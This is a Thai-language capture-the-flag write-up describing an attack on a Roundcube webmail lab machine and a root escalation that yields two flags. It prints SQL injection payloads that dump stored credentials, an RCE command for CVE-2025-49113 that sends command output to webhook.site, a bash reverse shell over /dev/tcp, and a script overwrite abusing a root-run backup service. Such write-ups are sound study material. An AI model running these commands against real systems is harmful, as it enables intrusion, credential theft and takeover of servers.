
โจทย์นี้คือการโจมตี Webmail และยกสิทธิ์ Root เพื่อดึง Flag ออกมาทั้ง 2 อันออกมาให้ได้ (โจทย์นี้คือเล่นกลมาก ล่อไปเป็นวัน จะบ้า TwT)
ทีนี้! มาดูกันดีกว่ายึดธงมาได้ยังไง!
ก่อนอื่นเลยโจทย์บอกว่า "เอาข้อมูลใน database ของระบบเช็คสภาพอากาศมาใช้ให้เป็นประโยชน์เพื่อโจมตี webmail!!!" งั้นแสดงว่า โจทยก่อนหน้านี่คือ Rain or rain ที่ซ่อนอยู่ใน Database สินะ
หา User & Pass ในโจทย์ Rain or rain
งั้นแวะกลับโจทย์ Rain or rain สักแปปหน่อย แล้วลองหา Table ใหม่อีกที
' UNION ALL select json_group_array(name),0,0,'' from sqlite_master WHERE type = 'table' --
เห๋? มี Table “users” ด้วย งั้นแสดงว่า อันนี้น่าจะเป็น User & Pass สำหรับ Webmail แน่ ๆ เห็นเช่นนั้น… สแกน Column หน่อยซิว่ามีอะไรบ้างนะ
' UNION ALL select json_group_array(name),0,0,'' from pragma_table_info('users') --
เอาละเรารู้แล้วละว่ามี Column อะไรบ้าง ก็ดึงออกมาเลยสิ! รออะไรละ OwO
' UNION ALL select username,password,0,'' from users --
ได้แล้ว! เป็น User & pass ดังนี้
Username: sysadminPassword: Adm1n!2025#Secureโจมตี Webmail
ทีนี้พอเราได้ User & Pass มาแล้ว ไหนลองเข้าเว็บหน่อยซิ๊ ว่าเป็นหน้าตายังไง

โอ้โห! Roundcube.. 555555 ไม่ได้เจอหน้านี้กันตั้งนานมาก ได้กลับมาเจออีกครั้งแล้วสินะ ~ เอาเป็นว่าเข้าสู่ระบบกัน

เอ๋ ทำไมมันไม่มีอะไรเลยหว่า ทั้ง Mailbox หรือตั้งค่าพิรุณ ก็เลย งง ไปสักพักเลย =3=
แต่ลองนึกว่า “หรือว่ามีช่องโหว่กันนะ” ก็เลยลองไปค้นหาในเว็บดู ปรากฏว่ามีจริง!

โดยช่องโหว่นี้เป็น CVE-2025-49113 เป็นการให้ผู้ที่ไม่หวังดีทำการส่ง Command ไปยังระบบเซิฟเวอร์หรือที่เรียกว่า Remote code execution (RCE) ระดับรุนแรงค่อนข้างสูงพอตัวเลย! และตัว Roundcube ที่รันอยู่เป็นเวอร์ชั่นที่มีช่องโหว่นี้ซะด้วย!

ทีนี้เราก็จะใช้ CVE ตัวนี้ยังไงดีในการโจมตี? ก็เลยไปเจอ Tool สำหรับ RCE
https://github.com/fearsoff-org/CVE-2025-49113
งั้นลองโจมตีเลย OwO!
อย่างแรกจะลองให้ส่งข้อมูลไปยัง webhook.site แล้วให้แนบ id ที่ถูกสั่งรันบนเครื่องเพื่อโจมตีเป้าหมาย โดยคำสั่งเป็นดังนี้
php./CVE-2025.php http://172.18.0.42 sysadmin 'Adm1n!2025#Secure' 'curl "https://webhook.site/xxx-yyy-zzz?=$(id | base64)'
พอ Decode base64 ออกมาได้เป็น
uid=33(www-data) gid=33(www-data) groups=33(www-data)จริงด้วย! ทำงานได้จริง OwO!!!
เอาละทีนี้จะทำการรัน ncat เพื่อเปิดให้เราสามารถเข้าถึง Shell ของตัวเครื่องเป้าหมายได้ แต่ประเด็นคือ… เครื่องเป้าหมายไม่มี ncat นี่ดิ =-= เอาไงละทีนั
แต่พอดูไปดูมาว่า “ไม่จำเป็นต้องใช้ ncat ก็ได้นิหว่า” เราสามารถใช้ /dev/tcp/<IP>/<PORT> เพื่อเปิด ncat เข้า shell ได้เลย
php./CVE-2025.php http://172.18.0.42 sysadmin 'Adm1n!2025#Secure' bash -c "bash -c 'bash -i >& /dev/tcp/10.8.0.64/4444 0>&1'"
เข้าได้แล้ว! >< “
หา Flag อันที่ #1
ทีนี้แหล่ะ ต่อไปต้องหา Flag อันที่ 1 กัน แต่… แล้วทีนี้จะหาได้ยังไงละ
ก็เลยลองหาไปเรื่อย ๆ จนไปเจอไฟล์ /random.sh
# เส้นทางไฟล์ปลายทางf1="/home/backupsvc/flag.txt"f2="/root/flag.txt"แสดงว่า flag ซ่อนไว้ในทั้ง /home/backupsvc/flag.txt และ /root/flag.txt ทีนี้แหล่ะ พอรู้แล้วก็จะลองไป cat /home/backupsvc/flag.txt แต่ลองทดสอบปรากฏว่า
cat: /home/backupsvc/flag.txt: Permission deniedโอ้ OwO! ติด Permission สินะ! แล้วจะเข้ายังไงละทีนี้! ก็เลยลองเข้าแบบดาด ๆ ดู
www-data@dropctf:/usr/src/app$ su backupsvcsu backupsvcPassword:แล้วรหัสอะไรละ… ก็เลยไปหาวิธีอื่น ๆ ดูว่าจะเข้ายังไงได้บ้าง (โครตเสียเวลาไปเยอะมาก)
แต่พอพิมพ์คำสั่ง ps aux เพื่อเช็ค Process ของเครื่องทั้งหมดว่ามีอะไรรันบ้าง ก็ปรากฏว่า
USER PID %CPU %MEM VSZ RSS TTY STAT START TIME COMMANDroot 1 0.0 0.1 1290984 53464 pts/0 Ssl+ 04:01 0:00 node app.js <-- ???เดียวนะ?! อะไรคือ node app.js อะ เพราะโดยปกติแล้ว Roundcube พัฒนาด้วยภาษา PHP และตอนโจมตี RCE ก็ใช้ PHP นิ แล้ว NodeJS โผล่มาจากไหนนิ ก็เลยลองสแกนหา app.js ดูว่า File มันถูกรันไว้อยู่ที่ไหน
www-data@dropctf:/var/www/html/roundcube/public_html$ find . / | grep app.js/var/www/html/roundcube/program/js/app.js/usr/src/app/app.js <-- ???หืมม?! มันคืออะไรนะ ก็เลยลองไปเช็คเปิดไฟล์ดู ปรากฏเป็น nodejs ที่เอาไว้รันอะไรสักอย่างก็เลยลองเปิดไฟล์ดู
www-data@dropctf:/var/www/html/roundcube/public_html$ cd /usr/src/appcd /usr/src/appwww-data@dropctf:/usr/src/app$ ls -lals -latotal 136drwxr-xr-x 1 root root 4096 Sep 14 04:01 .drwxr-xr-x 1 root root 4096 Aug 24 18:00 ..-rw-r--r-- 1 root root 3727 Jun 28 07:29 app.jsdrwxr-xr-x 1 root root 4096 Sep 14 04:01 dbdrwxr-xr-x 191 root root 4096 Aug 24 18:06 node_modules-rw-r--r-- 1 root root 88118 Aug 24 18:06 package-lock.json-rw-r--r-- 1 root root 405 Jun 27 12:44 package.json-rw-r--r-- 1 root root 12288 Sep 14 04:01 sessions.sqlite3drwxr-xr-x 2 root root 4096 Jun 27 17:59 viewswww-data@dropctf:/usr/src/app$ cat app.jscat app.jsconst express = require('express');const bodyParser = require('body-parser');const session = require('express-session');const SQLiteStore = require('connect-sqlite3')(session);....app.post('/backup', requireLogin, (req, res) => { exec('bash /usr/local/bin/backup.sh', async (err) => { const message = err ? `เกิดข้อผิดพลาดในการแบ็คอัพ: ${err.message}` : 'เริ่มต้นบริการแบ็คอัพเรียบร้อยแล้ว'; const latest = await getLatestBackup() || 'ยังไม่มีไฟล์แบ็คอัพ'; res.render('dashboard', { user: req.session.user, status: latest, message }); });});
app.get('/api/backups', requireLogin, async (req, res) => { try { const files = await fs.readdir(BACKUP_DIR); const list = files.filter(f => f.endsWith('.tar.gz')); if (!list.length) { return res.json({ message: 'ยังไม่มีไฟล์แบ็คอัพ' }); } res.json({ backups: list }); } catch (err) { res.status(500).json({ error: 'ไม่สามารถอ่านโฟลเดอร์ backup' }); }});....const PORT = 3000;app.listen(PORT, () => { console.log(`App running as root at http://0.0.0.0:${PORT}`);});โอ้โห! ชัดเจน มันคือระบบ backup ที่เขียนมาเพื่อรัน script backup.sh โดยเฉพาะ และตอนนี้คือมีการรัน Web server ผ่าน Port 3000 (เดียวตรงนี้จะมาอธิบายอีกทีตอนหา Flag อันที่ 2)
แต่ทีนี้ด้วยความสงสัยล้วน ๆ เห็น folder db ว่าเก็บอะไรก็เลยไปส่องดูและเจอสิ่งนี้
www-data@dropctf:/usr/src/app$ cd dbcd dbwww-data@dropctf:/usr/src/app/db$ ls -lals -latotal 36drwxr-xr-x 1 root root 4096 Sep 14 04:01 .drwxr-xr-x 1 root root 4096 Sep 14 04:01 ..-rw-r--r-- 1 root root 16384 Sep 14 04:01 database.sqlite3-rw-r--r-- 1 root root 854 Jun 27 12:35 db.js-rw-r--r-- 1 root root 208 Jun 28 07:47 service.sqlwww-data@dropctf:/usr/src/app/db$ cat service.sqlcat service.sqlCREATE TABLE IF NOT EXISTS users ( id INTEGER PRIMARY KEY AUTOINCREMENT, username TEXT UNIQUE, password TEXT);
INSERT OR IGNORE INTO users (username, password) VALUES ('backupsvc','Svcb@ckup2025!');www-data@dropctf:/usr/src/app/db$อ่าห้า! นี่คือ User & Pass สำหรับเว็บ สินะ แต่เอ๊ะ ทำไมเหมือนกับในที่เราจะไปเอา Flag ใน Folder /home/backupsvc กันนะก็เลยลองเอา Password นี้ไปกรอดู
www-data@dropctf:/$ su - backupsvcsu - backupsvcPassword: Svcb@ckup2025!iduid=1001(backupsvc) gid=1001(backupsvc) groups=1001(backupsvc)เย้! เข้าได้ซักที ทีนี้ไปเอาธงอันที่ 1 กัน!
cat /home/backupsvc/flag.txtTEMPEST{4e9dc99ebab2e4b870c5dc19f1bd4011}exitได้ธงอันที่ #1 มาแล้ว >w< “
TEMPEST{4e9dc99ebab2e4b870c5dc19f1bd4011}หา Flag อันที่ #2
ทีนี้เรามาหา Flag อันที่ 2 กัน
แต่ก่อนอื่นเราลองเข้าเว็บ :3000 ดูก่อนว่ามันเป็นยังไง

พอเราดูแล้วก็น่าเดาไม่ยาก น่าจะเอา User & Pass จากที่เราไปอ่าน File service.sql มาทำการเข้าสู่ระบบ
INSERT OR IGNORE INTO users (username, password) VALUES ('backupsvc','Svcb@ckup2025!');พอเข้าสู่ระบบไปแล้วก็เป็นหน้า Backup ธรรมดาอันหนึ่ง

พอเรากดปุ่ม “Run backup now” ก็จะได้ไฟล์ .tar.gz ออกมา ซึ่งดูแล้วไม่น่าเกี่ยวอะไรมากนัก
ทีนี้ก็เลยมานั่งดูว่าตอนกด Request ไปมันวิ่งไปที่ไหนก็ปรากฏว่ามันวิ่งมาที่ function ของ nodejs อันนี้
app.post('/backup', requireLogin, (req, res) => { exec('bash /usr/local/bin/backup.sh', async (err) => { const message = err ? `เกิดข้อผิดพลาดในการแบ็คอัพ: ${err.message}` : 'เริ่มต้นบริการแบ็คอัพเรียบร้อยแล้ว'; const latest = await getLatestBackup() || 'ยังไม่มีไฟล์แบ็คอัพ'; res.render('dashboard', { user: req.session.user, status: latest, message }); });});โดย Function นี้เหมือนไปรันคำสั่งใน /usr/local/bin/backup.sh เพื่อ Backup ไว้และเราสามารถ Download ลงมาได้
และพอไปเปิดดูไฟล์ /usr/local/bin/backup.sh จะเป็นหน้าตาดังนี้
cat: /usr/local/bin/backup.sh: Permission deniedอะอ่าวไหนเป็นงั้น งง ว่าติด Permission root หรอ?! ก็เลยลอง ls -la เพื่อเช็คสิทธิ์ออกมา
www-data@dropctf:/usr/src/app$ ls -la /usr/local/bintotal 12drwxr-xr-x 1 root root 4096 Aug 24 18:06 .drwxr-xr-x 1 root root 4096 May 29 02:14 ..-rwx------ 1 backupsvc backupsvc 528 Jun 27 12:57 backup.shออ ติด Permission ของ backupsvc:backupsvc นิเอง งั้นลองใหม่โดยการเข้า User backupsvc แล้วลอง cat ออกมาใหม่
www-data@dropctf:/usr/src/app$ su backupsvcsu backupsvcPassword: Svcb@ckup2025!cat /usr/local/bin/backup.sh
#!/bin/bash
SRC="/usr/src/app/db" # โฟลเดอร์ที่ต้องการ backupDEST="/backup" # โฟลเดอร์เก็บไฟล์สำรอง
mkdir -p "${DEST}"
TIMESTAMP=$(date +'%Y-%m-%d_%H%M%S')ARCHIVE="${DEST}/data-backup-${TIMESTAMP}.tar.gz"
tar -czf "${ARCHIVE}" -C "$(dirname "${SRC}")" "$(basename "${SRC}")"
find "${DEST}" -type f -name 'data-backup-*.tar.gz' -mtime +7 -deleteทีนี้ลองอ่านดู แต่ก็ไม่มีอะไรโจมตี หรือยึดเครื่องได้เลย จนนั่งคิดไปอยู่แปปว่า “nodejs รันด้วยสิทธิ์อะไรนะ” ก็เลยกลับไปดูอีกครั้ง
root 1 0.0 0.1 1290984 53464 pts/0 Ssl+ 04:01 0:00 node app.jsonรันสิทธิ์ด้วย root! งั้นแสดงว่าตอนที่ตัว node สั่ง spawn process แปลว่าตอนรันคือระดับสิทธิ์ root นิเอง! งั้นไม่รอช้าได้เวลา Craft คำสั่งเพื่อดึง Flag อันที่ 2 ออกมา
printf "#!/bin/sh\n\ncp -r /root/flag.txt /var/www/html\nchmod -R 777 /var/www/html/flag.txt\n\necho OwO" > /usr/local/bin/backup.shคำสั่งนี้คือการ Overwrite file เข้าไปแทน backup.sh เพื่อให้จาก Backup เป็นการ Copy flag มายัง /var/www/html แทน และปรัน chmod ให้อ่านได้ทุกสิทธิ์
พอเสร็จแล้วก็ทำการลองกด “Run backup now” แล้วลองเช็คไฟล์ใน /var/www/html อีกที
www-data@dropctf:/usr/src/app$ cat /var/www/html/flag.txtcat /var/www/html/flag.txtTEMPEST{a185e39b6a433e4e0721fea6dbce30cc}www-data@dropctf:/usr/src/app$เย้! ได้ Flag อันที่ 2 แล้ว >< ”
TEMPEST{a185e39b6a433e4e0721fea6dbce30cc}